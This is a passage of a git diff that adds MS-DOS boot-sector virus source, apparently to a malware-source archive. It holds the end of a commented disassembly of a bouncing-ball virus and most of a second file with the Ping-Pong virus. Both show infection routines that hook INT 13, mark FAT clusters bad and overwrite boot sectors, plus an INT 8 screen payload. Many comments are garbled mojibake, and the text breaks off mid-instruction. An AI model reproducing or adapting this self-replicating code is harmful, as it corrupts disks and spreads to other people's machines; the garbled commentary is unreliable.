ES:0000h + MOV CX,001CH + REP MOVSB + CMP Word Ptr _VIRUS_SIG,01357H ;Check virus' signature + JNE @@INFECT ;Infect if not the same + +;It is not known what the following code does; it seems to soem sort of +;error recovery procedure, in case the first attempt at infection failed. + CMP Byte Ptr _CONTINUATION,0 + JNB @@EXIT + MOV AX,_SYSTEM_SECTORS + MOV SYSTEM_SECTORS,AX + MOV SI,_PART2_SECTOR + JMP CONT_POINT + @@EXIT: + RET ;Exit now; cannot infect this disk + + @@INFECT: + CMP Word Ptr _BYTES_PER_SEC,512 ;512 byte sectors only! + JNZ @@EXIT + CMP Byte Ptr _SEC_PER_CLU,2 ;At lease 2 sectors per cluster + JB @@EXIT + +;The virus now computes the number of system use sectors and number of data +;sectors. System use sectors include the Boot Record, FAT copies, root +;directory, and any otherwise reserved sectors. What's left is the number +;of data sectors. + MOV CX,_RES_SECTORS ;Get # of reserved sectors + MOV AL,_FAT_COPIES ;Get # of FAT copies + CBW ;Convert to word in AX + MUL Word Ptr _SEC_PER_FAT ;Multiply by sectors/FAT + ADD CX,AX ;Add result to # reserved sec. + + MOV AX,32 ;Each dir entry is 32 bytes + MUL Word Ptr _DIR_ENTRIES ;Get size of root dir in bytes + ADD AX,511 ;Round up when dividing... + MOV BX,512 ;Divide by 512 to get # sectors + DIV BX ; the root directory takes. + ADD CX,AX ;Add to # reserved sectors + MOV SYSTEM_SECTORS,CX ;(Overflow & remainder ignored) + +;The virus now calculates the number of data sectors and clusters. +;If there are more than 4080 clusters, then assume we're using a 16 bit FAT. + MOV AX,TOTAL_SECTORS ;Get total # of sectors on disk + SUB AX,SYSTEM_SECTORS ;Subtract # of system sectors + MOV BL,SEC_PER_CLU ;Get # of sectors in a cluster + XOR DX,DX ;Clear high order word... + XOR BH,BH ; and byte for division + DIV BX ;Divide, to get # of clusters + INC AX ;Round up by one + MOV DI,AX ;Save for "find free" routine + AND Byte Ptr FLAGS,11111011B ;Clear "16 bit FAT" flag. + CMP AX,0FF0H ;Is # of clusters too high? + JBE @@1 + OR Byte Ptr FLAGS,00000100B ;If so, set flag for 16 bit FAT + @@1: + JMP SHORT VIRUS_PART2_CONT ;JUMP to part II + + ORG 01F3H +CUR_FAT_SECTOR DW ? ;Current FAT sector number; used during infection +SYSTEM_SECTORS DW ? ;Total number of reserved, FAT, and root DIR sectors +FLAGS DB ? ;Bit mapped flags +DRIVE DB ? ;Current drive number +PART2_SECTOR DW ? ;DOS sector number of 2nd part of virus +CONTUATION DB ? ;??? Continuation flag??? + ORG 01FCH +VIRUS_SIG DW 01357H ;Virus' signature +BIOS_SIG DW 0AA55H ;Required signature of all boot sectors + + +;*************** Second sector of virus code starts here! ******************; + + ORG 0200H +VIRUS_PART2_CONT: + +;Now the search for a free cluster begins. + MOV SI,1 ;Counter of now many FAT sectors searched + MOV BX,RES_SECTORS ;Start with 1st FAT sector + DEC BX ;Sub 1, because we add 1 later + MOV CUR_FAT_SECTOR,BX + MOV Byte Ptr FAT_OFS_ADJ,-2 ;Set "cluster overhead" + +;Note: DI has maximum cluster number, and SI has current cluster number. + @@NEXT_SECTOR: + INC Word Ptr CUR_FAT_SECTOR ;Add one to FAT sector # + MOV BX,CUR_FAT_SECTOR + ADD Byte Ptr FAT_OFS_ADJ,2 + CALL READ_SECTOR ;Read the FAT sector + JMP SHORT @@CHECK ;Check for end of search + @@FIND_FREE: +;To get an entry for a specific cluster in a FAT table, multiply by 1.5 if +;it's a 12 bit FAT; otherwise multiply by 2. The virus uses the following: +;multiply the cluster number by 3 if it's a 12 bit FAT, otherwise by 4. Then +;divide by 2. + MOV AX,3 + TEST Byte Ptr FLAGS,00000100B ;Check for 16 bit FAT + JZ @@0 + INC AX ;Use 4 if FAT-16 + @@0: + MUL SI ;Multiply by cluster number + SHR AX,1 ;Divide by 2 + +;The cluster adjustment value is needed to keep offsets within 512 bytes. +;Since each sector is 0200h bytes, we'll subtract 0200h bytes every time +;we calculate another FAT offset for each subsequent FAT sector. + SUB AH,FAT_OFS_ADJ ;Subtract cluster adjustment + MOV BX,AX + CMP BX,01FFH ;Is offset too high? + JNB @@NEXT_SECTOR ;If so, go to next sector + MOV DX,Word Ptr [BX+SECTOR_BUFFER] ;Get entry + +;Once we have the cluster entry, we have to adjust it for a FAT-12 if +;necessary. On a FAT-16, we can use the vlaue directly. +;If it is a 12 bit FAT: +; Clear upper nibble if cluster number is even. +; Otherwise, throw out lower nibble and shift down by 4 bits. + TEST Byte Ptr FLAGS,00000100B ;12 bit FAT check + JNZ @@2 + MOV CL,04 ;Prepare for shift + TEST SI,1 ;Cluster number odd/even check. + JZ @@1 + SHR DX,CL ;Shift down by 1 nibble if odd. + @@1: + AND DH,0FH ;Clear highest nibble. + + @@2: +;A free cluster has an entry of 0. Using the OR instruction, we check for +;an entry of 0. + OR DX,DX + JZ FREE_FOUND + @@CHECK: ;See if the maximun cluster number has been + INC SI ; reached. If so, then no free cluster has + CMP SI,DI ; been found, so we can't infect the disk + JBE @@FIND_FREE + RET + +FREE_FOUND: +;Now that we found a free cluster, we'll set that cluster to "bad" status. +;As before, we test for a 12 bit FAT and adjust the bad cluster flag +;accordingly. + MOV DX,0FFF7H ;Bad cluster flag. + TEST Byte Ptr FLAGS,00000100B ;12 bit FAT check. + JNZ @@0 + AND DH,0FH ;Clear upper nibble + MOV CL,04 + TEST SI,1 ;Cluster number odd/even check. + JZ @@0 + SHL DX,CL ;Shift by 4 bits if odd. + @@0: + OR Word Ptr [BX+SECTOR_BUFFER],DX ;Insert new value. + MOV BX,CUR_FAT_SECTOR ;Get FAT sector # + CALL WRITE_SECTOR ;Write modified FAT to disk + MOV AX,SI ;Get free cluster number to AX + SUB AX,2 ;Subtract cluster number basis + MOV BL,SEC_PER_CLU ;Get # of sectors/cluster + XOR BH,BH + MUL BX ;Multiply to get sector number + ADD AX,SYSTEM_SECTORS ;Add # system use sectors to + MOV SI,AX ; get DOS sector # on disk + XOR BX,BX ;Read the boot record from sector 0 + CALL READ_SECTOR + MOV BX,SI ;Write it out to disk, in the second + INC BX ; sector of our "bad" cluster + CALL WRITE_SECTOR +CONT_POINT: + MOV BX,SI ;SI has first sector of free cluster + MOV PART2_SECTOR,SI ;Save it + PUSH CS + POP AX + SUB AX,20H ;Adjust segment value so ES:0400 will + MOV ES,AX ; be the same as CS:0200h + CALL WRITE_SECTOR ;Write part 2 of virus to disk + PUSH CS + POP AX + SUB AX,40H ;Now adjust ES so an offset of 0400h + MOV ES,AX ; will point to CS:0000h + XOR BX,BX ;Write the first part of the virus + CALL WRITE_SECTOR ; into the boot sector + RET ;DISK IS NOW INFECTED!!!! + + ORG 02B0H +TICK_COUNT DW ? +FAT_OFS_ADJ DB ? + +INST_BALL: ;Install bouncing ball routine + TEST Byte Ptr FLAGS,00000010B ;Installed already? + JNZ @@EXIT + OR Byte Ptr FLAGS,00000010B ;Set "installed" flag + XOR AX,AX + MOV DS,AX + ASSUME DS:LOW_MEM_DATA + MOV AX,INT8_OFS ;Get vector for INT 8h + MOV BX,INT8_SEG + MOV INT8_OFS,OFFSET NEW_INT8 ;Set vector to point at + MOV INT8_SEG,CS ; our routine. + PUSH CS + POP DS + ASSUME DS:VIRUS + MOV INT8_PATCH+1,AX ;Direcly patch original vector + MOV INT8_PATCH+3,BX ; contents into our code. + @@EXIT: + RET + +NEW_INT8 LABEL FAR ;New INT 8 handler + PUSH DS + PUSH AX + PUSH BX ;Save affected registers + PUSH CX + PUSH DX + + PUSH CS + POP DS + MOV AH,0FH ;Get video mode, page, and # of columns + INT 10H + MOV BL,AL ;Move mode number into BL +;If the video mode and page are the same as last time, then continue bouncing +;the ball. Otherwise, reset the ball position and increment, and start anew. +;Note: The active page number is in BH throughout this routine. + CMP BX,VIDEO_PARAMS ;Is mode and page same as last time? + JE @@SAME_MODE + MOV VIDEO_PARAMS,BX ;Save for futore reference (!!) + DEC AH ;Subtract 1 from number of columns + MOV SCRN_COLS,AH ; onscreen and save it. + MOV AH,1 ;Assume graphics mode. + CMP BL,7 ;Mono text mode? + JNE @@0 + DEC AH ;Set flag to 0 if so. + @@0: + CMP BL,4 ;Is mode number below 4? (ie. 0-3) + JNB @@1 + DEC AH + @@1: + MOV GRAF_MODE,AH ;Save flag value. + MOV Word Ptr BALL_POS,0101H ;Set XY position to 1,1 + MOV Word Ptr BALL_INC,0101H ;Set XY increment to 1,1 + MOV AH,03H + INT 10H ;Read cursor position into DX + PUSH DX ; and save it on the stack. + MOV DX,BALL_POS ;Get XY position of ball. + JMP SHORT UPDATE_BALL_POS ;Change increment if needed. + + @@SAME_MODE: ;Enter here if mode not changed. + MOV AH,03H + INT 10H ;Get cursor position into DX + PUSH DX ; and save it. + MOV AH,02 + MOV DX,BALL_POS + INT 10H ;Move to bouncing ball location. + MOV AX,ORG_CHAR ;Get original screen char & attribute. + CMP Byte Ptr GRAF_MODE,1 ;Check for graphics mode/ + JNE @@3 + MOV AX,8307H ;If graphics mode, use CHR$(7) + @@3: ;If not, then use original char + MOV BL,AH ;Move color value into BL + MOV CX,1 ;Write one character + MOV AH,09H ; with attributes and all + INT 10H ; into page in BH. + +;The update routine will check for the ball's position on a screen border. +;If it's on a border, then negate the increment for that direction. +;(ie, if the ball was moving up, reverse it.) If the increment was not +;changed, then "randomly" change the X or Y increment based on the lower +;three bits of the previous screen character. This will make the ball +;appear to bounce around "randomly" on a screen filled with characters. +UPDATE_BALL_POS: ;Figure new ball position. + MOV CX,BALL_INC ;Get ball position increment. + CMP DH,0 ;Is is on the top row of the screen? + JNZ @@0 + NEG CH + @@0: + CMP DH,24 ;Reached bottom edge? + JNZ @@1 + NEG CH + @@1: + CMP DL,0 ;Reached left edge? + JNZ @@2 + NEG CL + @@2: + CMP DL,SCRN_COLS ;Reached right edge? + JNZ @@3 + NEG CL ;Should be familar by now! + @@3: + CMP CX,BALL_INC ;Is the increment the same as before? + JNE CALC_NEW_POS ;If not, apply the modified increment. + MOV AX,ORG_CHAR ;Do "ramdom" updating, as described + AND AL,00000111B ; in the note above. + CMP AL,00000011B + JNE @@4 + NEG CH ;Reverse Y direction. + @@4: + CMP AL,00000101B + JNE CALC_NEW_POS + NEG CL ;Reverse X direction. + +CALC_NEW_POS: + ADD DL,CL ;Add increments to ball position. + ADD DH,CH + MOV BALL_INC,CX ;Save ball position increment and + MOV BALL_POS,DX ; new ball position. + MOV AH,02H ;Move to ball position, which is + INT 10H ; in register DX. + MOV AH,08H ;Read the present screen char and + INT 10H ; attribute. + MOV ORG_CHAR,AX ;Save them for next time. + MOV BL,AH ;Use same attribute, if in text mode + CMP Byte Ptr GRAF_MODE,1 + JNE @@0 + MOV BL,83H ;Otherwise, use color # 83H + @@0: + MOV CX,0001H ;Write one character and attribute + MOV AX,0907H ; using CHR$(7) as the character. + INT 10H + POP DX ;Get old cursor position. + MOV AH,02H ;Move cursor back to that position. + INT 10H + POP DX + POP CX + POP BX ;Restore affected registers. + POP AX + POP DS +INT8_PATCH LABEL WORD + JMP DUMMY_ADDRESS ;Continue with original INT 8h handler. + +ORG_CHAR DW ? ;Original screen character and attribute. +BALL_POS DW ? ;Bouncing ball's XY position. +BALL_INC DW ? ;Ball's XY increment +GRAF_MODE DB ? ;1 = graphics mode, otherwise it's a text mode. +VIDEO_PARAMS DW ? ;Mode number and page number. +SCRN_COLS DB ? ;Number of screen columns minus 1 + +VIRUS_LENGTH EQU $-START_HERE + DB 1024-VIRUS_LENGTH DUP (0) ;Pad out to 1024 bytes. + +;******************** End of virus code! ************************************** + + ORG 0400H ;Work area for the virus +SECTOR_BUFFER LABEL NEAR ;This is a sector buffer!! +_JMP_INST DW ? +_NOP_INST DB ? + +_OEM_ID DB 8 DUP(?) +_BYTES_PER_SEC DW ? +_SEC_PER_CLU DB ? +_RES_SECTORS DW ? +_FAT_COPIES DB ? +_DIR_ENTRIES DW ? ;This is the BPB of the target +_TOTAL_SECTORS DW ? ; disk during infection. +_MEDIA_DESCRIP DB ? +_SEC_PER_FAT DW ? +_SEC_PER_TRK DW ? +_SIDES_ON_DISK DW ? +_HIDDEN_SECTORS DW ? + + ORG 05BEH +PARTITION_TABLE LABEL NEAR + + ORG 05F3H +_CUR_FAT_SECTOR DW ? +_SYSTEM_SECTORS DW ? +_FLAGS DB ? +_DRIVE DB ? +_PART2_SECTOR DW ? +_CONTINUATION DB ? + ORG 05FCH +_VIRUS_SIG DW ? +_BIOS_SIG DW ? ;Should always be 0AA55h + VIRUS ENDS + END + +;Original virus disassembly by James L. July 1991 +;Clean version written by James L. July 1991 +;# EOF #; diff --git a/MSDOS/Virus.MSDOS.Unknown.pingpong.asm b/MSDOS/Virus.MSDOS.Unknown.pingpong.asm new file mode 100644 index 00000000..10778bd7 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.pingpong.asm @@ -0,0 +1,606 @@ +; Advanced Fullscreen Disassembler v2.11 +; Copyright (C) by Rumen Gerasimov (GERISOFT), 1987, 1988 +; +; First listing: without DATA segment +; +; Segment value: 0000, length: 0200 +; + +BIOS_SEG SEGMENT at 0h + org 0020h +D0020 dw 0 +D0022 dw 0 +INTERR8 label far + org 004Ch +D004C dw 0 +D004E dw 0 + org 0413h +D0413 dw 0 +BIOS_SEG ends + + +BOOT_SEG SEGMENT at 7Ch + org 0 +BOOT_PROCESS label far +BOOT_SEG ends + + +DISK_ROM SEGMENT at 0C800h + org 256h +C800_SEG label far +DISK_ROM ends + + + + + +SEG0000 segment public para 'CODE' + assume CS:SEG0000, ds:SEG0000 + +;***********************************************************; +; ¸‚ ‘…’ˇ - ¨€—€‹ˇ ¨€ ‚“‘€ ; +; ¨€€ ‘… ¨€ boot sector ¨€ „‘€ ; +;***********************************************************; +; ’³Ŗ  ¤°±ŗ² 0000:7C00 Ø«Ø 07C0:0000 +; + ORG 7C00h + + JMP short L7C1E + +D7C02 db 90h + db 'IBM 3.1' + DB 0 + DB 2 +D7C0D DB 2 +D7C0E DW 1 + DB 2 + DB 70h + DB 0 +D7C13 DW 2D0h + DB 0FDh + DB 2 + DB 0 +D7C18 DW 9 ;Sector per track - SecPTrk +D7C1A DW 2 ;Side per track - SidPTrk +D7C1C DW 0 + +L7C1E: XOR AX,AX + MOV SS,AX + MOV SP,7C00h + MOV DS,AX + + assume ds:BIOS_SEG + MOV AX,Word Ptr D0413 ;¨ ¬ «æ¢  BIOS MEMSIZE ± 2 + SUB AX,0002h + MOV Word Ptr D0413,AX + assume ds:SEG0000 + + MOV CL,06h + SHL AX,CL + SUB AX,07C0h + MOV ES,AX ;ES: ±£¬­²  ­  § ²Ø² 2 Æ ¬² + MOV SI,7C00h + MOV DI,SI + MOV CX,0100h + REPZ MOVSW ;¬±²Ø ± ² ¬: ¶«Øæ² ±Ŗ²®° + + db 08Eh,0C8h ;MOV CS,AX ;Æ°¤ ¢  ³Æ° ¢«­Ø²® ­  ­®¢®²® ¬æ±²® + ;CS:7C00 -  ¤°± ­  ­ · «®²® ­  Ŗ®¤  + PUSH CS + POP DS + CALL L7C4A + +L7C4A: XOR AH,AH ;RESET ­  INT 13 + INT 13h + AND Byte Ptr D7DF8,80h ;“±²°®©±²¢®²® Æŗ°¢Ø ¤Ø±Ŗ (A: - floppy + ; C: - hard + + + MOV BX,Word Ptr D7DF9 ;—² Æŗ°¢Øæ² ±Ŗ²®°, Ŗŗ¤²® Æ°®¤ŗ«- + PUSH CS ;¦­Ø²® + POP AX + SUB AX,0020h + MOV ES,AX ;adres = (CS - 20h):8000h + CALL L7C9D + + MOV BX,Word Ptr D7DF9 ;—² ¢²®°Øæ² ±Ŗ²®° ®² Æ°®¤ŗ«¦­Ø²® + INC BX ; (­®°¬ «­Øæ² BOOT) + MOV AX,0FFC0h ;adres = 0000:7C00 + MOV ES,AX + CALL L7C9D + + XOR AX,AX + MOV Byte Ptr D7DF7,AL ;—ر²Ø ±² ²³±- ©²  (§  Æ®±«) + MOV DS,AX + + assume ds:BIOS_SEG + MOV AX,Word Ptr D004C ;‡ Ŗ ·¢  ± §  INT 13! + MOV BX,Word Ptr D004E + MOV Word Ptr D004C,offset NewINT13 + MOV Word Ptr D004E,CS + PUSH CS + POP DS + assume ds:SEG0000 + MOV Word Ptr D7D2A,AX ;‡ Æ §¢  ±² °Øæ²  ¤°± ­  INT 13 + MOV Word Ptr D7D2C,BX + + MOV DL,Byte Ptr D7DF8 ;‚§¬  ³±²°®©±²¢®²® §  BOOT Ø ±² °²Ø°  + jmp BOOT_PROCESS ;­®°¬ «­Øæ² BOOT process + + + +;================================================================; +; ¸ˇ€€ ‡€ —…’…¨… (L7C9D) ‡€¸‘ (L7C98) ; +; ¨€ ‹ˇ—…‘ ‘…’ˇ ˇ’ „‘ ; +;----------------------------------------------------------------; +; BX - ±Ŗ²®° ®²­®±­® ­ · «®²®, Ŗ®©²® ²°æ¢  ¤  ± Æ°®·² ; +; ES:8000 -  ¤°±, Ŗŗ¤²® ¤  ± Æ°®·² ±Ŗ²®°ŗ² ; +; ; +; D7DF8 - ³±²°®©±²¢®, ®² Ŗ®²® ·² ; +; ; +;================================================================; +L7C98: MOV AX,0301h + JMP short L7CA0 + +L7C9D: MOV AX,0201h +L7CA0: XCHG BX,AX + ADD AX,Word Ptr D7C1C + XOR DX,DX + + DIV Word Ptr D7C18 ;Æ°¢°ŗ¹  «®£Ø·±ŖØæ² ±Ŗ²®° ¢ AX + INC DL ; (0-7..) ¢ŗ¢ Track, Side, Sector + MOV CH,DL ;¢ °£Ø±²°Ø² CX, DX (§  INT 13) + XOR DX,DX + DIV Word Ptr D7C1A + MOV CL,06h + SHL AH,CL + OR AH,CH + MOV CX,AX + XCHG CH,CL + MOV DH,DL + + MOV AX,BX +L7CC3: MOV DL,Byte Ptr D7DF8 ;¢§¬  ­®¬°  ­  ¤Ø±Ŗ  §  ·²­ (A:) + MOV BX,8000h + INT 13h + JNC L7CCF + POP AX ;±Ŗ Æ¢  ±²Ŗ  Ø § £Ø¢ ,  Ŗ® ج  I/O err +L7CCF: RET + + + +;========================================================================; +; ’€‡ ¸ˇ€€ ‘… ‚‡‚€ ¨€ ‘’ˇ’ˇ ¨€ ‘’¨‘’ INT 13 ; +;========================================================================; +NewINT13: + PUSH DS ;‡ Æ §¢  °£Ø±²°Ø² + PUSH ES + PUSH AX + PUSH BX + PUSH CX + PUSH DX + + PUSH CS ;ˇÆ° ¢æ ±¢®æ DS Ø ES + POP DS + PUSH CS + POP ES + + TEST Byte Ptr D7DF7,01h ;€Ŗ® 1 - ¢ŗ§Æ°®Ø§¢¦¤ ­ ­  ¢Ø°³± , + JNE L7D23 ; ®²Ø¢  ¤  ÆØø ±ŗ± ±² ­¤ °². INT 13 + + CMP AH,02h ;—²­ ­  ±Ŗ²®°? + JNE L7D23 ;¨, Æ°®¤ŗ«¦ ¢  ±ŗ± ±² ­¤ °²­Øæ² INT 13 + + CMP Byte Ptr D7DF8,DL ;“±²°®©±²¢®²® ±ŗ¢Æ ¤  ± Æ®±«¤­®²® + MOV Byte Ptr D7DF8,DL ; ± Ŗ®²® ° ®²­® + JNE L7D12 ;¨ + + XOR AH,AH ;‚§¬  ¢°¬²® + INT 1Ah + TEST DH,7Fh ;ز 8000 ­  low order part = 1? + JNE L7D03 ;¤ , Æ°±Ŗ ·  + TEST DL,0F0h ;ز®¢ 00F0 ­  low order part = 1? + JNE L7D03 ;¤ , Æ°±Ŗ ·  + ;¸°®æ¢ : Ŗ®£ ²® TIMER .and. 80F0h == 0 + ;¸°Ø«Ø§Ø²«­® ­  1800 ±Ŗ. = 30 ¬Ø­. + + PUSH DX + call L7EB3 ;¸°®æ¢  ­  ¢Ø°³±  - ±Ŗ ·  Æ® Ŗ° ­  + POP DX + +L7D03: MOV CX,DX ;ˇÆ°¤«æ ²°æ¢  «Ø ¤  § ° §æ¢  + SUB DX,Word Ptr D7EB0 ; (Æ®¤µ®¤æ¹ ¬®¬­² ¢°¬) + MOV Word Ptr D7EB0,CX + SUB DX,+24h + JC L7D23 + +L7D12: OR Byte Ptr D7DF7,01h ;‘² °²Ø°  ¢ŗ§Æ°®Ø§¢¦¤ ­/§ ° §æ¢ ­ + PUSH SI + PUSH DI + CALL L7D2E + POP DI + POP SI + AND Byte Ptr D7DF7,0FEh + +L7D23: POP DX ;‚ŗ§±² ­®¢æ¢  Æ®²°Ø²«±Ŗز °£Ø±²°Ø + POP CX + POP BX + POP AX + POP ES + POP DS +D7D2A = $+1 +D7D2C = $+3 + jmp c800_SEG ;‘² °²Ø°  ر²Ø­±ŖØæ² INT 13 + + + +;================================================================; +; ‚‡¸ˇ‡‚…†„€¨… ¨€ ‚“‘€ ‡€€‡‚€¨… ¨€ ¸ˇ€€ ; +;================================================================; +L7D2E: MOV AX,0201h ;—² BOOT sector ®² ¤Ø±Ŗ  + MOV DH,00h ; BX = ?????????????????????? Ŗŗ¤, ! + MOV CX,0001h + CALL L7CC3 + + TEST Byte Ptr D7DF8,80h ;HARD DISK? + JE L7D63 ;­ + + ;---- HARD DISK ----; + MOV SI,81BEh ;’ŗ°±Ø DOS partition + MOV CX,0004h +L7D46: CMP Byte Ptr [SI+04h],01h + JE L7D58 + CMP Byte Ptr [SI+04h],04h + JE L7D58 + ADD SI,+10h + LOOP L7D46 + RET ;­æ¬  DOS partition, ­ § ° §æ¢  + + ;---- ¨ ¬°­ DOS partition ----; +L7D58: MOV DX,Word Ptr [SI] + MOV CX,Word Ptr [SI+02h] + MOV AX,0201h + CALL L7CC3 ;—² BOOT sector ®² DOS partition + + ;---- ’³Ŗ ؤ¢   Ŗ® ¤Ø±Ŗ² , Æ°®·²­ BOOT sector ----; +L7D63: MOV SI,8002h + MOV DI,offset D7C02 + MOV CX,001Ch + REPZ MOVSB ;¬±²Ø BPB ² «Ø¶ ²  ®² BOOT sector + + CMP Word Ptr D8000+01FCh,1357h ;‡ ° §­ «Ø ¤Ø±Ŗ ? + JNE L7D8B ;­ + + CMP Byte Ptr D8000+01FBh,00h ;ŗ¤ «Ø ±®·Ø DS? + JNC L7D8A + + ;---- „رŖ  § ° §­ ----; ;---- ’³Ŗ ¬ © ­æ¬  ¤  ¤®©¤ ­ØŖ®£ ? ----; + MOV AX,Word Ptr D8000+01F5h ;®¦  ° ®² ... + MOV Word Ptr D7DF5,AX + MOV SI,Word Ptr D8000+01F9h + jmp L7E92 + +L7D8A: RET + + + +;------------------- +; „‘€ ¨… … ‡€€‡…¨, ¸ˇ—‚€ ‡€€‡‚€¨…’ˇ +; +L7D8B: CMP Word Ptr D8000+000Bh,0200h ;’®¢  ­ Ø­²°±­® + JNE L7D8A + CMP Byte Ptr D8000+000Dh,02h + JC L7D8A + MOV CX,Word Ptr D8000+000Eh + MOV AL,Byte Ptr D8000+0010h + CBW + MUL Word Ptr D8000+0016h + ADD CX,AX + MOV AX,0020h + MUL Word Ptr D8000+0011h + ADD AX,01FFh + MOV BX,0200h + DIV BX + ADD CX,AX + MOV Word Ptr D7DF5,CX + MOV AX,Word Ptr D7C13 + SUB AX,Word Ptr D7DF5 + MOV BL,Byte Ptr D7C0D + XOR DX,DX + XOR BH,BH + DIV BX + INC AX + MOV DI,AX + AND Byte Ptr D7DF7,0FBh + CMP AX,0FF0h + JBE L7DE0 + OR Byte Ptr D7DF7,04h +L7DE0: MOV SI,0001h + MOV BX,Word Ptr D7C0E + DEC BX + MOV Word Ptr D7DF3,BX + MOV Byte Ptr D7EB2,0FEh + JMP short L7E00 + +D7DF3 DW 1 +D7DF5 DW 000Ch +D7DF7 DB 1 ;±² ²³±- ©²: + ; 0000 0001 - ±² °²Ø° ­® ¢ŗ§Æ°®Ø§¢¦¤ ­ + ; 0000 0010 - § Ŗ ·­ ­  INT 08 + ; 0000 0100 +D7DF8 DB 00 ;³±²°®©±²¢®: 0 - A:, 1 - B:, ... +D7DF9 DW 274h ;«®£Ø·±ŖØ ±Ŗ²®°, Ŗŗ¤²® § Æر ­® Æ°®¤ŗ«¦­Ø²® + + + DB 00 + + DW 1357h ;¨„€’ˇ ‡€ ‡€€‡…¨ „‘!!!!!!!! + + DW 0AA55h ;­®°¬ «­ BOOT ±Ŗ²®° + + +;***********************************************************; +; ‚’ˇ ‘…’ˇ - ¸ˇ„‹†…¨… ¨€ ‚“‘€ ; +; ¨€€ ‘… ¨€ bad sector ¨€‚’… ‚ „‘€ ; +;***********************************************************; +L7E00: INC Word Ptr D7DF3 + MOV BX,Word Ptr D7DF3 + ADD Byte Ptr D7EB2,02h + call L7C9D + JMP short L7E4B +L7E12: MOV AX,0003h + TEST Byte Ptr D7DF7,04h + JE L7E1D + INC AX +L7E1D: MUL SI + SHR AX,1 + SUB AH,Byte Ptr D7EB2 + MOV BX,AX + CMP BX,01FFh + JNC L7E00 + MOV DX,Word Ptr D8000[BX] + TEST Byte Ptr D7DF7,04h + JNE L7E45 + MOV CL,04h + TEST SI,0001h + JE L7E42 + SHR DX,CL +L7E42: AND DH,0Fh +L7E45: TEST DX,0FFFFh + JE L7E51 +L7E4B: INC SI + CMP SI,DI + JBE L7E12 + RET +L7E51: MOV DX,0FFF7h + TEST Byte Ptr D7DF7,04h + JNE L7E68 + AND DH,0Fh + MOV CL,04h + TEST SI,0001h + JE L7E68 + SHL DX,CL +L7E68: OR Word Ptr D8000[BX],DX + MOV BX,Word Ptr D7DF3 + call L7C98 + MOV AX,SI + SUB AX,0002h + + MOV BL,Byte Ptr D7C0D + XOR BH,BH + MUL BX + ADD AX,Word Ptr D7DF5 + MOV SI,AX + MOV BX,0000h + call L7C9D + + MOV BX,SI + INC BX + call L7C98 + +L7E92: MOV BX,SI + MOV Word Ptr D7DF9,SI + PUSH CS + POP AX + SUB AX,0020h + MOV ES,AX + call L7C98 + + PUSH CS + POP AX + SUB AX,0040h + MOV ES,AX + MOV BX,0000h + call L7C98 + RET + +D7EB0 DW 0EEF0h +D7EB2 DB 0 + + +;=======================================================; +; ‡€€—‚€¨… ‡€ int 08, €ˇ ¨… … ‡€€—…¨€ ; +;=======================================================; +L7EB3: TEST Byte Ptr D7DF7,02h + JNE L7EDE + OR Byte Ptr D7DF7,02h + + assume ds:BIOS_SEG + MOV AX,0000h ;‡ Ŗ ·¢  ± ­  INT 8 + MOV DS,AX + MOV AX,Word Ptr D0020 + MOV BX,Word Ptr D0022 + MOV Word Ptr D0020,offset NewINT08 + MOV Word Ptr D0022,CS + assume ds:SEG0000 + PUSH CS + POP DS + MOV Word Ptr D7FC9,AX ;‡ Æ §¢  ±² °Øæ² INT 8 + MOV Word Ptr D7FCB,BX + +L7EDE: RET + + +;=====================================================================; +; ’€‡ ¸ˇ€€ ‘… ‚‡‚€ ¨€ ‘’ˇ’ˇ ¨€ ‘’¨‘’ int 08 ; +;=====================================================================; +NewINT08: + PUSH DS ;‡ Æ §¢  Æ®²°Ø²«±Ŗز °£Ø±²°Ø + PUSH AX + PUSH BX + PUSH CX + PUSH DX + + PUSH CS ;ˇÆ° ¢æ ±®±²¢­Øæ² DS + POP DS + + MOV AH,0Fh ;Get current video mode + INT 10h + + MOV BL,AL + CMP BX,Word Ptr D7FD4 ;mode = ±² °Øæ² mode + JE L7F27 ;¤ , Æ°®¤ŗ«¦ ¢  + + ;---- ¦Ø¬ŗ² ­  ¤Ø±Æ«© Æ°®¬­­. “±² ­®¢æ¢æ ­®¢Øæ² °¦Ø¬ ----; + MOV Word Ptr D7FD4,BX ;§ Æر¢  ±²° ­Ø¶ ²  Ø mode + DEC AH + MOV Byte Ptr D7FD6,AH ;§ Æ §¢  char_per_line-1 + + MOV AH,01h + CMP BL,07h ;mode = text b/w MGA, EGA? + JNE L7F05 ;­ + DEC AH + +L7F05: CMP BL,04h ;mode = graphics? + JNC L7F0C ;¤  + DEC AH + +L7F0C: MOV Byte Ptr D7FD3,AH + MOV Word Ptr D7FCF,0101h + MOV Word Ptr D7FD1,0101h + + MOV AH,03h ;Read cursor position and size + INT 10h + + PUSH DX ;‡ Æ §¢  Æ®§Ø¶Øæ²  ­  Ŗ³°±®°  + + MOV DX,Word Ptr D7FCF + JMP short L7F4A + + + ;---- ¦Ø¬ŗ² ­  ¤Ø±Æ«æ (mode) ­ Æ°®¬­æ­ ----; +L7F27: MOV AH,03h ;Read cursor position and size + INT 10h + + PUSH DX ;‡ Æ §¢  cursor pos & size + + MOV AH,02h ;Set cursor position + MOV DX,Word Ptr D7FCF + INT 10h + + MOV AX,Word Ptr D7FCD ;ˇÆ°¤«æ Ŗ Ŗ¢® ¤  ÆØø Æ® Ŗ° ­  + CMP Byte Ptr D7FD3,01h ;mode = GRAPF? + JNE L7F41 ;­ + MOV AX,8307h + +L7F41: MOV BL,AH ;Write character & attribute + MOV CX,0001h + MOV AH,09h + INT 10h + + + + ;---- ®°Ø£Ø°  Æ®§Ø¶Øæ²  ­  Ŗ³°±®°  ----; +L7F4A: MOV CX,Word Ptr D7FD1 + + CMP DH,00h ;Up + JNE L7F58 + XOR CH,0FFh + INC CH + +L7F58: CMP DH,18h ;Down + JNE L7F62 + XOR CH,0FFh + INC CH + +L7F62: CMP DL,00h ;Left + JNE L7F6C + XOR CL,0FFh + INC CL + +L7F6C: CMP DL,Byte Ptr D7FD6 ;Right + JNE L7F77 + XOR CL,0FFh + INC CL + +L7F77: CMP CX,Word Ptr D7FD1 + JNE L7F94 + MOV AX,Word Ptr D7FCD + AND AL,07h + CMP AL,03h + JNE L7F8B + XOR CH,0FFh + INC CH +L7F8B: CMP AL,05h + JNE L7F94 + XOR CL,0FFh + INC CL + +L7F94: ADD DL,CL + ADD DH,CH + MOV Word Ptr D7FD1,CX + MOV Word Ptr D7FCF,DX + MOV AH,02h + INT 10h ;Set cursor position + + MOV AH,08h ;Read character & attribute + INT 10h + + MOV Word Ptr D7FCD,AX + MOV BL,AH + CMP 